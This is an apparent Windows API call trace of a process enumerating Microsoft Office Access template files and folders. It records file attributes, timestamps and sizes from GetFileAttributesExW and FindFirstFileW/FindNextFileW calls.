	[0053.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), fInfoLevelId=0x0, lpFileInformation=0x1283db88 | out: lpFileInformation=0x1283db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd)) returned 1
	[0053.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), fInfoLevelId=0x0, lpFileInformation=0x1283dbd8 | out: lpFileInformation=0x1283dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac)) returned 1
	[0053.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), fInfoLevelId=0x0, lpFileInformation=0x1283dc28 | out: lpFileInformation=0x1283dc28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="CATEGO~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="NAME~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="PAYMEN~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="PHONE~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="PRIORI~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="STARTE~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="STATUS~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 1
	[0053.473] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.473] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft"), fInfoLevelId=0x0, lpFileInformation=0x1283df98 | out: lpFileInformation=0x1283df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141)) returned 1
	[0053.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Category.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\category.accft"), fInfoLevelId=0x0, lpFileInformation=0x12848008 | out: lpFileInformation=0x12848008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294be000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x294be000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x110c)) returned 1
	[0053.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Name.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\name.accft"), fInfoLevelId=0x0, lpFileInformation=0x12848058 | out: lpFileInformation=0x12848058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1134)) returned 1
	[0053.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Payment Type.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\payment type.accft"), fInfoLevelId=0x0, lpFileInformation=0x128480a8 | out: lpFileInformation=0x128480a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5eb000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c5eb000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1109)) returned 1
	[0053.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Phone.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\phone.accft"), fInfoLevelId=0x0, lpFileInformation=0x128480f8 | out: lpFileInformation=0x128480f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484a7200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x484a7200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10d2)) returned 1
	[0053.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Priority.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\priority.accft"), fInfoLevelId=0x0, lpFileInformation=0x12848148 | out: lpFileInformation=0x12848148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54363400, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54363400, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x112d)) returned 1
	[0053.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft"), fInfoLevelId=0x0, lpFileInformation=0x12848198 | out: lpFileInformation=0x12848198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5d4200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b5d4200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1062)) returned 1
	[0053.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft"), fInfoLevelId=0x0, lpFileInformation=0x128481e8 | out: lpFileInformation=0x128481e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687a3100, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x687a3100, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1135)) returned 1
	[0053.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Tags.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\tags.accft"), fInfoLevelId=0x0, lpFileInformation=0x12848238 | out: lpFileInformation=0x12848238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7334c600, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7334c600, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x10f7)) returned 1
	[0053.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848288 | out: lpFileInformation=0x12848288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af)) returned 1
	[0053.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), fInfoLevelId=0x0, lpFileInformation=0x128482d8 | out: lpFileInformation=0x128482d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfe600, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdedfe600, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7490b)) returned 1
	[0053.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848328 | out: lpFileInformation=0x12848328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85166900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85166900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x80f48)) returned 1
	[0053.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), fInfoLevelId=0x0, lpFileInformation=0x12848378 | out: lpFileInformation=0x12848378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7c1e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f7cd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb7c1e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x10e5ec)) returned 1
	[0053.480] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), fInfoLevelId=0x0, lpFileInformation=0x128483c8 | out: lpFileInformation=0x128483c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0x1f5a52)) returned 1
	[0053.481] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), fInfoLevelId=0x0, lpFileInformation=0x12848418 | out: lpFileInformation=0x12848418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34067500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34067500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6005, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Top.accdt", cAlternateFileName="1TOP~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4385be00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fc9050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4385be00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6306, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Right.accdt", cAlternateFileName="2RIGHT~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bddf900, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bddf900, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x63ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 Top.accdt", cAlternateFileName="2TOP~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9bb00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57c9bb00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.accdt", cAlternateFileName="COMMEN~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6aa00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64e6aa00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x4c444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f97a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77f97a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x510d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Details.accdt", cAlternateFileName="DETAIL~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8051b500, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8051b500, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x53d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dialog.accdt", cAlternateFileName="DIALOG~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92335800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92335800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xc660, dwReserved0=0x0, dwReserved1=0x0, cFileName="Issues.accdt", cAlternateFileName="ISSUES~1.ACC")) returned 1
	[0053.483] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f504700, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x1503b470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f504700, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x6072, dwReserved0=0x0, dwReserved1=0x0, cFileName="List.accdt", cAlternateFileName="LIST~1.ACC")) returned 1
